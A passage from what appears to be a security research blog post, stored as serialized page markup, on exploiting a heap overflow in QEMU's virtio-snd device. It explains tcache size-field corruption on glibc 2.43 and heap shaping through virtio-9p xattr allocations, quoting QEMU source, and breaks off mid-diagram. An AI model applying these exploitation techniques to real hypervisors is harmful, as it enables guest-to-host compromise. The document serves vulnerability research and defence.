[...]\n",[129804],{"type":21,"tag":78,"props":129805,"children":129806},{"__ignoreMap":7},[129807,129814,129841,129848,129855,129862,129881,129888,129907,129914,129941,129964,129971,129997,130004,130015,130072],{"type":21,"tag":153,"props":129808,"children":129809},{"class":155,"line":156},[129810],{"type":21,"tag":153,"props":129811,"children":129812},{"style":170},[129813],{"type":26,"value":129508},{"type":21,"tag":153,"props":129815,"children":129816},{"class":155,"line":166},[129817,129821,129825,129829,129833,129837],{"type":21,"tag":153,"props":129818,"children":129819},{"style":181},[129820],{"type":26,"value":128774},{"type":21,"tag":153,"props":129822,"children":129823},{"style":160},[129824],{"type":26,"value":5820},{"type":21,"tag":153,"props":129826,"children":129827},{"style":170},[129828],{"type":26,"value":53918},{"type":21,"tag":153,"props":129830,"children":129831},{"style":198},[129832],{"type":26,"value":5080},{"type":21,"tag":153,"props":129834,"children":129835},{"style":192},[129836],{"type":26,"value":270},{"type":21,"tag":153,"props":129838,"children":129839},{"style":160},[129840],{"type":26,"value":5909},{"type":21,"tag":153,"props":129842,"children":129843},{"class":155,"line":225},[129844],{"type":21,"tag":153,"props":129845,"children":129846},{"style":160},[129847],{"type":26,"value":13601},{"type":21,"tag":153,"props":129849,"children":129850},{"class":155,"line":239},[129851],{"type":21,"tag":153,"props":129852,"children":129853},{"style":160},[129854],{"type":26,"value":128817},{"type":21,"tag":153,"props":129856,"children":129857},{"class":155,"line":382},[129858],{"type":21,"tag":153,"props":129859,"children":129860},{"emptyLinePlaceholder":16},[129861],{"type":26,"value":759},{"type":21,"tag":153,"props":129863,"children":129864},{"class":155,"line":501},[129865,129869,129873,129877],{"type":21,"tag":153,"props":129866,"children":129867},{"style":160},[129868],{"type":26,"value":128832},{"type":21,"tag":153,"props":129870,"children":129871},{"style":198},[129872],{"type":26,"value":2367},{"type":21,"tag":153,"props":129874,"children":129875},{"style":181},[129876],{"type":26,"value":128841},{"type":21,"tag":153,"props":129878,"children":129879},{"style":160},[129880],{"type":26,"value":128846},{"type":21,"tag":153,"props":129882,"children":129883},{"class":155,"line":533},[129884],{"type":21,"tag":153,"props":129885,"children":129886},{"emptyLinePlaceholder":16},[129887],{"type":26,"value":759},{"type":21,"tag":153,"props":129889,"children":129890},{"class":155,"line":542},[129891,129895,129899,129903],{"type":21,"tag":153,"props":129892,"children":129893},{"style":160},[129894],{"type":26,"value":129590},{"type":21,"tag":153,"props":129896,"children":129897},{"style":198},[129898],{"type":26,"value":2367},{"type":21,"tag":153,"props":129900,"children":129901},{"style":181},[129902],{"type":26,"value":129168},{"type":21,"tag":153,"props":129904,"children":129905},{"style":160},[129906],{"type":26,"value":128887},{"type":21,"tag":153,"props":129908,"children":129909},{"class":155,"line":762},[129910],{"type":21,"tag":153,"props":129911,"children":129912},{"emptyLinePlaceholder":16},[129913],{"type":26,"value":759},{"type":21,"tag":153,"props":129915,"children":129916},{"class":155,"line":776},[129917,129921,129925,129929,129933,129937],{"type":21,"tag":153,"props":129918,"children":129919},{"style":1751},[129920],{"type":26,"value":34089},{"type":21,"tag":153,"props":129922,"children":129923},{"style":160},[129924],{"type":26,"value":5820},{"type":21,"tag":153,"props":129926,"children":129927},{"style":181},[129928],{"type":26,"value":129363},{"type":21,"tag":153,"props":129930,"children":129931},{"style":160},[129932],{"type":26,"value":5820},{"type":21,"tag":153,"props":129934,"children":129935},{"style":181},[129936],{"type":26,"value":129297},{"type":21,"tag":153,"props":129938,"children":129939},{"style":160},[129940],{"type":26,"value":129637},{"type":21,"tag":153,"props":129942,"children":129943},{"class":155,"line":795},[129944,129948,129952,129956,129960],{"type":21,"tag":153,"props":129945,"children":129946},{"style":1751},[129947],{"type":26,"value":19687},{"type":21,"tag":153,"props":129949,"children":129950},{"style":181},[129951],{"type":26,"value":129649},{"type":21,"tag":153,"props":129953,"children":129954},{"style":160},[129955],{"type":26,"value":5820},{"type":21,"tag":153,"props":129957,"children":129958},{"style":671},[129959],{"type":26,"value":129327},{"type":21,"tag":153,"props":129961,"children":129962},{"style":160},[129963],{"type":26,"value":530},{"type":21,"tag":153,"props":129965,"children":129966},{"class":155,"line":808},[129967],{"type":21,"tag":153,"props":129968,"children":129969},{"emptyLinePlaceholder":16},[129970],{"type":26,"value":759},{"type":21,"tag":153,"props":129972,"children":129973},{"class":155,"line":820},[129974,129978,129982,129987,129992],{"type":21,"tag":153,"props":129975,"children":129976},{"style":181},[129977],{"type":26,"value":129430},{"type":21,"tag":153,"props":129979,"children":129980},{"style":160},[129981],{"type":26,"value":5820},{"type":21,"tag":153,"props":129983,"children":129984},{"style":181},[129985],{"type":26,"value":129986},"arena_for_chunk",{"type":21,"tag":153,"props":129988,"children":129989},{"style":160},[129990],{"type":26,"value":129991}," (p), p);",{"type":21,"tag":153,"props":129993,"children":129994},{"style":3050},[129995],{"type":26,"value":129996},"             // [1]\n",{"type":21,"tag":153,"props":129998,"children":129999},{"class":155,"line":842},[130000],{"type":21,"tag":153,"props":130001,"children":130002},{"emptyLinePlaceholder":16},[130003],{"type":26,"value":759},{"type":21,"tag":153,"props":130005,"children":130006},{"class":155,"line":3204},[130007,130011],{"type":21,"tag":153,"props":130008,"children":130009},{"style":1751},[130010],{"type":26,"value":129676},{"type":21,"tag":153,"props":130012,"children":130013},{"style":181},[130014],{"type":26,"value":129681},{"type":21,"tag":153,"props":130016,"children":130017},{"class":155,"line":3230},[130018,130022,130026,130030,130034,130038,130042,130046,130050,130054,130059,130063,130068],{"type":21,"tag":153,"props":130019,"children":130020},{"style":1751},[130021],{"type":26,"value":34089},{"type":21,"tag":153,"props":130023,"children":130024},{"style":160},[130025],{"type":26,"value":5820},{"type":21,"tag":153,"props":130027,"children":130028},{"style":181},[130029],{"type":26,"value":129697},{"type":21,"tag":153,"props":130031,"children":130032},{"style":160},[130033],{"type":26,"value":129368},{"type":21,"tag":153,"props":130035,"children":130036},{"style":198},[130037],{"type":26,"value":8537},{"type":21,"tag":153,"props":130039,"children":130040},{"style":192},[130041],{"type":26,"value":129710},{"type":21,"tag":153,"props":130043,"children":130044},{"style":160},[130045],{"type":26,"value":355},{"type":21,"tag":153,"props":130047,"children":130048},{"style":192},[130049],{"type":26,"value":129719},{"type":21,"tag":153,"props":130051,"children":130052},{"style":198},[130053],{"type":26,"value":16893},{"type":21,"tag":153,"props":130055,"children":130056},{"style":160},[130057],{"type":26,"value":130058}," tcache ",{"type":21,"tag":153,"props":130060,"children":130061},{"style":198},[130062],{"type":26,"value":18385},{"type":21,"tag":153,"props":130064,"children":130065},{"style":170},[130066],{"type":26,"value":130067}," NULL",{"type":21,"tag":153,"props":130069,"children":130070},{"style":160},[130071],{"type":26,"value":2006},{"type":21,"tag":153,"props":130073,"children":130074},{"class":155,"line":3239},[130075],{"type":21,"tag":153,"props":130076,"children":130077},{"style":160},[130078],{"type":26,"value":129450},{"type":21,"tag":22,"props":130080,"children":130081},{},[130082,130084,130089],{"type":26,"value":130083},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":21,"tag":78,"props":130085,"children":130087},{"className":130086},[],[130088],{"type":26,"value":126557},{"type":26,"value":130090},", because on the latest 2.43 glibc they are non-existent.",{"type":21,"tag":21491,"props":130092,"children":130093},{},[],{"type":21,"tag":22,"props":130095,"children":130096},{},[130097,130099,130104,130106,130112,130114,130119,130121,130127],{"type":26,"value":130098},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":21,"tag":78,"props":130100,"children":130102},{"className":130101},[],[130103],{"type":26,"value":126557},{"type":26,"value":130105}," field was initially ",{"type":21,"tag":78,"props":130107,"children":130109},{"className":130108},[],[130110],{"type":26,"value":130111},"0x200",{"type":26,"value":130113},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":21,"tag":78,"props":130115,"children":130117},{"className":130116},[],[130118],{"type":26,"value":128734},{"type":26,"value":130120},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":21,"tag":78,"props":130122,"children":130124},{"className":130123},[],[130125],{"type":26,"value":130126},"[0x210, 0x2f0]",{"type":26,"value":130128},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":21,"tag":22,"props":130130,"children":130131},{},[130132],{"type":26,"value":130133},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":21,"tag":114,"props":130135,"children":130137},{"id":130136},"heap-spraying",[130138],{"type":26,"value":130139},"Heap Spraying",{"type":21,"tag":22,"props":130141,"children":130142},{},[130143,130145,130150],{"type":26,"value":130144},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":21,"tag":78,"props":130146,"children":130148},{"className":130147},[],[130149],{"type":26,"value":130111},{"type":26,"value":130151},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":21,"tag":22,"props":130153,"children":130154},{},[130155,130157,130162],{"type":26,"value":130156},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":21,"tag":78,"props":130158,"children":130160},{"className":130159},[],[130161],{"type":26,"value":126752},{"type":26,"value":130163}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":21,"tag":22,"props":130165,"children":130166},{},[130167],{"type":26,"value":130168},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":21,"tag":21591,"props":130170,"children":130172},{"id":130171},"virtio-9p",[130173],{"type":26,"value":130171},{"type":21,"tag":22,"props":130175,"children":130176},{},[130177,130182],{"type":21,"tag":78,"props":130178,"children":130180},{"className":130179},[],[130181],{"type":26,"value":130171},{"type":26,"value":130183}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":21,"tag":22,"props":130185,"children":130186},{},[130187,130189,130195,130197,130203,130204,130210,130212,130217],{"type":26,"value":130188},"Through a ",{"type":21,"tag":78,"props":130190,"children":130192},{"className":130191},[],[130193],{"type":26,"value":130194},"P9_TXATTRCREATE",{"type":26,"value":130196}," request, we can allocate host-side buffers for both the ",{"type":21,"tag":78,"props":130198,"children":130200},{"className":130199},[],[130201],{"type":26,"value":130202},".name",{"type":26,"value":52},{"type":21,"tag":78,"props":130205,"children":130207},{"className":130206},[],[130208],{"type":26,"value":130209},".value",{"type":26,"value":130211}," fields, with the size of ",{"type":21,"tag":78,"props":130213,"children":130215},{"className":130214},[],[130216],{"type":26,"value":130209},{"type":26,"value":130218}," being directly controlled by the guest.",{"type":21,"tag":143,"props":130220,"children":130222},{"code":130221,"language":5896,"meta":7,"className":19212,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[130223],{"type":21,"tag":78,"props":130224,"children":130225},{"__ignoreMap":7},[130226,130268,130275,130299,130312,130323,130348,130356,130381,130398,130414,130440,130447,130468,130534,130558,130571,130578,130585,130592,130599,130619,130640,130651,130658,130665,130672,130679,130728,130784,130829],{"type":21,"tag":153,"props":130227,"children":130228},{"class":155,"line":156},[130229,130233,130237,130242,130247,130251,130255,130259,130264],{"type":21,"tag":153,"props":130230,"children":130231},{"style":170},[130232],{"type":26,"value":53335},{"type":21,"tag":153,"props":130234,"children":130235},{"style":170},[130236],{"type":26,"value":53340},{"type":21,"tag":153,"props":130238,"children":130239},{"style":160},[130240],{"type":26,"value":130241}," coroutine_fn ",{"type":21,"tag":153,"props":130243,"children":130244},{"style":181},[130245],{"type":26,"value":130246},"v9fs_xattrcreate",{"type":21,"tag":153,"props":130248,"children":130249},{"style":160},[130250],{"type":26,"value":189},{"type":21,"tag":153,"props":130252,"children":130253},{"style":170},[130254],{"type":26,"value":53918},{"type":21,"tag":153,"props":130256,"children":130257},{"style":198},[130258],{"type":26,"value":5080},{"type":21,"tag":153,"props":130260,"children":130261},{"style":192},[130262],{"type":26,"value":130263},"opaque",{"type":21,"tag":153,"props":130265,"children":130266},{"style":160},[130267],{"type":26,"value":5909},{"type":21,"tag":153,"props":130269,"children":130270},{"class":155,"line":166},[130271],{"type":21,"tag":153,"props":130272,"children":130273},{"style":160},[130274],{"type":26,"value":13601},{"type":21,"tag":153,"props":130276,"children":130277},{"class":155,"line":225},[130278,130282,130287,130291,130295],{"type":21,"tag":153,"props":130279,"children":130280},{"style":170},[130281],{"type":26,"value":21773},{"type":21,"tag":153,"props":130283,"children":130284},{"style":160},[130285],{"type":26,"value":130286}," flags, rflags ",{"type":21,"tag":153,"props":130288,"children":130289},{"style":198},[130290],{"type":26,"value":2367},{"type":21,"tag":153,"props":130292,"children":130293},{"style":300},[130294],{"type":26,"value":5799},{"type":21,"tag":153,"props":130296,"children":130297},{"style":160},[130298],{"type":26,"value":1759},{"type":21,"tag":153,"props":130300,"children":130301},{"class":155,"line":239},[130302,130307],{"type":21,"tag":153,"props":130303,"children":130304},{"style":170},[130305],{"type":26,"value":130306},"    int32_t",{"type":21,"tag":153,"props":130308,"children":130309},{"style":160},[130310],{"type":26,"value":130311}," fid;\n",{"type":21,"tag":153,"props":130313,"children":130314},{"class":155,"line":382},[130315,130319],{"type":21,"tag":153,"props":130316,"children":130317},{"style":170},[130318],{"type":26,"value":57904},{"type":21,"tag":153,"props":130320,"children":130321},{"style":160},[130322],{"type":26,"value":126899},{"type":21,"tag":153,"props":130324,"children":130325},{"class":155,"line":501},[130326,130331,130336,130340,130344],{"type":21,"tag":153,"props":130327,"children":130328},{"style":170},[130329],{"type":26,"value":130330},"    ssize_t",{"type":21,"tag":153,"props":130332,"children":130333},{"style":160},[130334],{"type":26,"value":130335}," err ",{"type":21,"tag":153,"props":130337,"children":130338},{"style":198},[130339],{"type":26,"value":2367},{"type":21,"tag":153,"props":130341,"children":130342},{"style":300},[130343],{"type":26,"value":5799},{"type":21,"tag":153,"props":130345,"children":130346},{"style":160},[130347],{"type":26,"value":1759},{"type":21,"tag":153,"props":130349,"children":130350},{"class":155,"line":533},[130351],{"type":21,"tag":153,"props":130352,"children":130353},{"style":160},[130354],{"type":26,"value":130355},"    V9fsString name;\n",{"type":21,"tag":153,"props":130357,"children":130358},{"class":155,"line":542},[130359,130363,130368,130372,130377],{"type":21,"tag":153,"props":130360,"children":130361},{"style":170},[130362],{"type":26,"value":19262},{"type":21,"tag":153,"props":130364,"children":130365},{"style":160},[130366],{"type":26,"value":130367}," offset ",{"type":21,"tag":153,"props":130369,"children":130370},{"style":198},[130371],{"type":26,"value":2367},{"type":21,"tag":153,"props":130373,"children":130374},{"style":300},[130375],{"type":26,"value":130376}," 7",{"type":21,"tag":153,"props":130378,"children":130379},{"style":160},[130380],{"type":26,"value":1759},{"type":21,"tag":153,"props":130382,"children":130383},{"class":155,"line":762},[130384,130389,130393],{"type":21,"tag":153,"props":130385,"children":130386},{"style":160},[130387],{"type":26,"value":130388},"    V9fsFidState ",{"type":21,"tag":153,"props":130390,"children":130391},{"style":198},[130392],{"type":26,"value":313},{"type":21,"tag":153,"props":130394,"children":130395},{"style":160},[130396],{"type":26,"value":130397},"file_fidp;\n",{"type":21,"tag":153,"props":130399,"children":130400},{"class":155,"line":776},[130401,130405,130409],{"type":21,"tag":153,"props":130402,"children":130403},{"style":160},[130404],{"type":26,"value":130388},{"type":21,"tag":153,"props":130406,"children":130407},{"style":198},[130408],{"type":26,"value":313},{"type":21,"tag":153,"props":130410,"children":130411},{"style":160},[130412],{"type":26,"value":130413},"xattr_fidp;\n",{"type":21,"tag":153,"props":130415,"children":130416},{"class":155,"line":795},[130417,130422,130426,130431,130435],{"type":21,"tag":153,"props":130418,"children":130419},{"style":160},[130420],{"type":26,"value":130421},"    V9fsPDU ",{"type":21,"tag":153,"props":130423,"children":130424},{"style":198},[130425],{"type":26,"value":313},{"type":21,"tag":153,"props":130427,"children":130428},{"style":160},[130429],{"type":26,"value":130430},"pdu ",{"type":21,"tag":153,"props":130432,"children":130433},{"style":198},[130434],{"type":26,"value":2367},{"type":21,"tag":153,"props":130436,"children":130437},{"style":160},[130438],{"type":26,"value":130439}," opaque;\n",{"type":21,"tag":153,"props":130441,"children":130442},{"class":155,"line":808},[130443],{"type":21,"tag":153,"props":130444,"children":130445},{"emptyLinePlaceholder":16},[130446],{"type":26,"value":759},{"type":21,"tag":153,"props":130448,"children":130449},{"class":155,"line":820},[130450,130455,130459,130463],{"type":21,"tag":153,"props":130451,"children":130452},{"style":181},[130453],{"type":26,"value":130454},"    v9fs_string_init",{"type":21,"tag":153,"props":130456,"children":130457},{"style":160},[130458],{"type":26,"value":189},{"type":21,"tag":153,"props":130460,"children":130461},{"style":198},[130462],{"type":26,"value":1974},{"type":21,"tag":153,"props":130464,"children":130465},{"style":160},[130466],{"type":26,"value":130467},"name);\n",{"type":21,"tag":153,"props":130469,"children":130470},{"class":155,"line":842},[130471,130476,130480,130485,130490,130495,130499,130503,130508,130512,130517,130521,130525,130529],{"type":21,"tag":153,"props":130472,"children":130473},{"style":160},[130474],{"type":26,"value":130475},"    err ",{"type":21,"tag":153,"props":130477,"children":130478},{"style":198},[130479],{"type":26,"value":2367},{"type":21,"tag":153,"props":130481,"children":130482},{"style":181},[130483],{"type":26,"value":130484}," pdu_unmarshal",{"type":21,"tag":153,"props":130486,"children":130487},{"style":160},[130488],{"type":26,"value":130489},"(pdu, offset, ",{"type":21,"tag":153,"props":130491,"children":130492},{"style":671},[130493],{"type":26,"value":130494},"\"dsqd\"",{"type":21,"tag":153,"props":130496,"children":130497},{"style":160},[130498],{"type":26,"value":1670},{"type":21,"tag":153,"props":130500,"children":130501},{"style":198},[130502],{"type":26,"value":1974},{"type":21,"tag":153,"props":130504,"children":130505},{"style":160},[130506],{"type":26,"value":130507},"fid, ",{"type":21,"tag":153,"props":130509,"children":130510},{"style":198},[130511],{"type":26,"value":1974},{"type":21,"tag":153,"props":130513,"children":130514},{"style":160},[130515],{"type":26,"value":130516},"name, ",{"type":21,"tag":153,"props":130518,"children":130519},{"style":198},[130520],{"type":26,"value":1974},{"type":21,"tag":153,"props":130522,"children":130523},{"style":160},[130524],{"type":26,"value":129267},{"type":21,"tag":153,"props":130526,"children":130527},{"style":198},[130528],{"type":26,"value":1974},{"type":21,"tag":153,"props":130530,"children":130531},{"style":160},[130532],{"type":26,"value":130533},"flags);\n",{"type":21,"tag":153,"props":130535,"children":130536},{"class":155,"line":3204},[130537,130541,130546,130550,130554],{"type":21,"tag":153,"props":130538,"children":130539},{"style":1751},[130540],{"type":26,"value":2434},{"type":21,"tag":153,"props":130542,"children":130543},{"style":160},[130544],{"type":26,"value":130545}," (err ",{"type":21,"tag":153,"props":130547,"children":130548},{"style":198},[130549],{"type":26,"value":8537},{"type":21,"tag":153,"props":130551,"children":130552},{"style":300},[130553],{"type":26,"value":5799},{"type":21,"tag":153,"props":130555,"children":130556},{"style":160},[130557],{"type":26,"value":2659},{"type":21,"tag":153,"props":130559,"children":130560},{"class":155,"line":3230},[130561,130566],{"type":21,"tag":153,"props":130562,"children":130563},{"style":1751},[130564],{"type":26,"value":130565},"        goto",{"type":21,"tag":153,"props":130567,"children":130568},{"style":160},[130569],{"type":26,"value":130570}," out_nofid;\n",{"type":21,"tag":153,"props":130572,"children":130573},{"class":155,"line":3239},[130574],{"type":21,"tag":153,"props":130575,"children":130576},{"style":160},[130577],{"type":26,"value":539},{"type":21,"tag":153,"props":130579,"children":130580},{"class":155,"line":3253},[130581],{"type":21,"tag":153,"props":130582,"children":130583},{"emptyLinePlaceholder":16},[130584],{"type":26,"value":759},{"type":21,"tag":153,"props":130586,"children":130587},{"class":155,"line":3301},[130588],{"type":21,"tag":153,"props":130589,"children":130590},{"style":160},[130591],{"type":26,"value":107098},{"type":21,"tag":153,"props":130593,"children":130594},{"class":155,"line":3346},[130595],{"type":21,"tag":153,"props":130596,"children":130597},{"emptyLinePlaceholder":16},[130598],{"type":26,"value":759},{"type":21,"tag":153,"props":130600,"children":130601},{"class":155,"line":3355},[130602,130606,130610,130614],{"type":21,"tag":153,"props":130603,"children":130604},{"style":1751},[130605],{"type":26,"value":2434},{"type":21,"tag":153,"props":130607,"children":130608},{"style":160},[130609],{"type":26,"value":129368},{"type":21,"tag":153,"props":130611,"children":130612},{"style":198},[130613],{"type":26,"value":13182},{"type":21,"tag":153,"props":130615,"children":130616},{"style":160},[130617],{"type":26,"value":130618}," P9_XATTR_SIZE_MAX) {\n",{"type":21,"tag":153,"props":130620,"children":130621},{"class":155,"line":3364},[130622,130627,130631,130635],{"type":21,"tag":153,"props":130623,"children":130624},{"style":160},[130625],{"type":26,"value":130626},"        err ",{"type":21,"tag":153,"props":130628,"children":130629},{"style":198},[130630],{"type":26,"value":2367},{"type":21,"tag":153,"props":130632,"children":130633},{"style":198},[130634],{"type":26,"value":53546},{"type":21,"tag":153,"props":130636,"children":130637},{"style":160},[130638],{"type":26,"value":130639},"E2BIG;\n",{"type":21,"tag":153,"props":130641,"children":130642},{"class":155,"line":3376},[130643,130647],{"type":21,"tag":153,"props":130644,"children":130645},{"style":1751},[130646],{"type":26,"value":130565},{"type":21,"tag":153,"props":130648,"children":130649},{"style":160},[130650],{"type":26,"value":130570},{"type":21,"tag":153,"props":130652,"children":130653},{"class":155,"line":3393},[130654],{"type":21,"tag":153,"props":130655,"children":130656},{"style":160},[130657],{"type":26,"value":539},{"type":21,"tag":153,"props":130659,"children":130660},{"class":155,"line":3405},[130661],{"type":21,"tag":153,"props":130662,"children":130663},{"emptyLinePlaceholder":16},[130664],{"type":26,"value":759},{"type":21,"tag":153,"props":130666,"children":130667},{"class":155,"line":3427},[130668],{"type":21,"tag":153,"props":130669,"children":130670},{"style":160},[130671],{"type":26,"value":107098},{"type":21,"tag":153,"props":130673,"children":130674},{"class":155,"line":3448},[130675],{"type":21,"tag":153,"props":130676,"children":130677},{"emptyLinePlaceholder":16},[130678],{"type":26,"value":759},{"type":21,"tag":153,"props":130680,"children":130681},{"class":155,"line":3456},[130682,130686,130690,130694,130699,130703,130707,130711,130716,130720,130724],{"type":21,"tag":153,"props":130683,"children":130684},{"style":181},[130685],{"type":26,"value":130454},{"type":21,"tag":153,"props":130687,"children":130688},{"style":160},[130689],{"type":26,"value":189},{"type":21,"tag":153,"props":130691,"children":130692},{"style":198},[130693],{"type":26,"value":1974},{"type":21,"tag":153,"props":130695,"children":130696},{"style":192},[130697],{"type":26,"value":130698},"xattr_fidp",{"type":21,"tag":153,"props":130700,"children":130701},{"style":160},[130702],{"type":26,"value":2953},{"type":21,"tag":153,"props":130704,"children":130705},{"style":192},[130706],{"type":26,"value":39675},{"type":21,"tag":153,"props":130708,"children":130709},{"style":160},[130710],{"type":26,"value":355},{"type":21,"tag":153,"props":130712,"children":130713},{"style":192},[130714],{"type":26,"value":130715},"xattr",{"type":21,"tag":153,"props":130717,"children":130718},{"style":160},[130719],{"type":26,"value":355},{"type":21,"tag":153,"props":130721,"children":130722},{"style":192},[130723],{"type":26,"value":50788},{"type":21,"tag":153,"props":130725,"children":130726},{"style":160},[130727],{"type":26,"value":530},{"type":21,"tag":153,"props":130729,"children":130730},{"class":155,"line":3493},[130731,130736,130740,130744,130748,130752,130756,130760,130764,130768,130772,130776,130780],{"type":21,"tag":153,"props":130732,"children":130733},{"style":181},[130734],{"type":26,"value":130735},"    v9fs_string_copy",{"type":21,"tag":153,"props":130737,"children":130738},{"style":160},[130739],{"type":26,"value":189},{"type":21,"tag":153,"props":130741,"children":130742},{"style":198},[130743],{"type":26,"value":1974},{"type":21,"tag":153,"props":130745,"children":130746},{"style":192},[130747],{"type":26,"value":130698},{"type":21,"tag":153,"props":130749,"children":130750},{"style":160},[130751],{"type":26,"value":2953},{"type":21,"tag":153,"props":130753,"children":130754},{"style":192},[130755],{"type":26,"value":39675},{"type":21,"tag":153,"props":130757,"children":130758},{"style":160},[130759],{"type":26,"value":355},{"type":21,"tag":153,"props":130761,"children":130762},{"style":192},[130763],{"type":26,"value":130715},{"type":21,"tag":153,"props":130765,"children":130766},{"style":160},[130767],{"type":26,"value":355},{"type":21,"tag":153,"props":130769,"children":130770},{"style":192},[130771],{"type":26,"value":50788},{"type":21,"tag":153,"props":130773,"children":130774},{"style":160},[130775],{"type":26,"value":1670},{"type":21,"tag":153,"props":130777,"children":130778},{"style":198},[130779],{"type":26,"value":1974},{"type":21,"tag":153,"props":130781,"children":130782},{"style":160},[130783],{"type":26,"value":130467},{"type":21,"tag":153,"props":130785,"children":130786},{"class":155,"line":3509},[130787,130792,130796,130800,130804,130808,130812,130816,130820,130824],{"type":21,"tag":153,"props":130788,"children":130789},{"style":192},[130790],{"type":26,"value":130791},"    xattr_fidp",{"type":21,"tag":153,"props":130793,"children":130794},{"style":160},[130795],{"type":26,"value":2953},{"type":21,"tag":153,"props":130797,"children":130798},{"style":192},[130799],{"type":26,"value":39675},{"type":21,"tag":153,"props":130801,"children":130802},{"style":160},[130803],{"type":26,"value":355},{"type":21,"tag":153,"props":130805,"children":130806},{"style":192},[130807],{"type":26,"value":130715},{"type":21,"tag":153,"props":130809,"children":130810},{"style":160},[130811],{"type":26,"value":355},{"type":21,"tag":153,"props":130813,"children":130814},{"style":192},[130815],{"type":26,"value":41843},{"type":21,"tag":153,"props":130817,"children":130818},{"style":198},[130819],{"type":26,"value":255},{"type":21,"tag":153,"props":130821,"children":130822},{"style":181},[130823],{"type":26,"value":126470},{"type":21,"tag":153,"props":130825,"children":130826},{"style":160},[130827],{"type":26,"value":130828},"(size);\n",{"type":21,"tag":153,"props":130830,"children":130831},{"class":155,"line":3517},[130832],{"type":21,"tag":153,"props":130833,"children":130834},{"style":160},[130835],{"type":26,"value":548},{"type":21,"tag":22,"props":130837,"children":130838},{},[130839,130841,130846,130848,130853,130854,130859,130861,130866],{"type":26,"value":130840},"Because the ",{"type":21,"tag":78,"props":130842,"children":130844},{"className":130843},[],[130845],{"type":26,"value":130202},{"type":26,"value":130847}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":21,"tag":78,"props":130849,"children":130851},{"className":130850},[],[130852],{"type":26,"value":130202},{"type":26,"value":52},{"type":21,"tag":78,"props":130855,"children":130857},{"className":130856},[],[130858],{"type":26,"value":130209},{"type":26,"value":130860},", not just the ",{"type":21,"tag":78,"props":130862,"children":130864},{"className":130863},[],[130865],{"type":26,"value":130209},{"type":26,"value":130867}," we actually care about. But we will get around this later in the blog post.",{"type":21,"tag":22,"props":130869,"children":130870},{},[130871,130872,130877],{"type":26,"value":19311},{"type":21,"tag":78,"props":130873,"children":130875},{"className":130874},[],[130876],{"type":26,"value":130209},{"type":26,"value":130878}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":21,"tag":22,"props":130880,"children":130881},{},[130882,130884,130889,130891,130897,130899,130905,130907,130913],{"type":26,"value":130883},"Once allocated, we can write arbitrary bytes into the ",{"type":21,"tag":78,"props":130885,"children":130887},{"className":130886},[],[130888],{"type":26,"value":130209},{"type":26,"value":130890}," buffer through a ",{"type":21,"tag":78,"props":130892,"children":130894},{"className":130893},[],[130895],{"type":26,"value":130896},"P9_TWRITE",{"type":26,"value":130898}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":21,"tag":78,"props":130900,"children":130902},{"className":130901},[],[130903],{"type":26,"value":130904},"P9_TREAD",{"type":26,"value":130906},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":21,"tag":78,"props":130908,"children":130910},{"className":130909},[],[130911],{"type":26,"value":130912},"P9_TCLUNK",{"type":26,"value":130914}," request on that same FID.",{"type":21,"tag":22,"props":130916,"children":130917},{},[130918,130920,130926],{"type":26,"value":130919},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":21,"tag":78,"props":130921,"children":130923},{"className":130922},[],[130924],{"type":26,"value":130925},"65536",{"type":26,"value":130927}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":21,"tag":114,"props":130929,"children":130931},{"id":130930},"setting-the-heap-layout",[130932],{"type":26,"value":130933},"Setting the Heap Layout",{"type":21,"tag":22,"props":130935,"children":130936},{},[130937,130939,130944],{"type":26,"value":130938},"Ideally, we want a contiguous heap region consisting only of ",{"type":21,"tag":78,"props":130940,"children":130942},{"className":130941},[],[130943],{"type":26,"value":130209},{"type":26,"value":130945}," allocations, like this:",{"type":21,"tag":143,"props":130947,"children":130949},{"code":130948},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          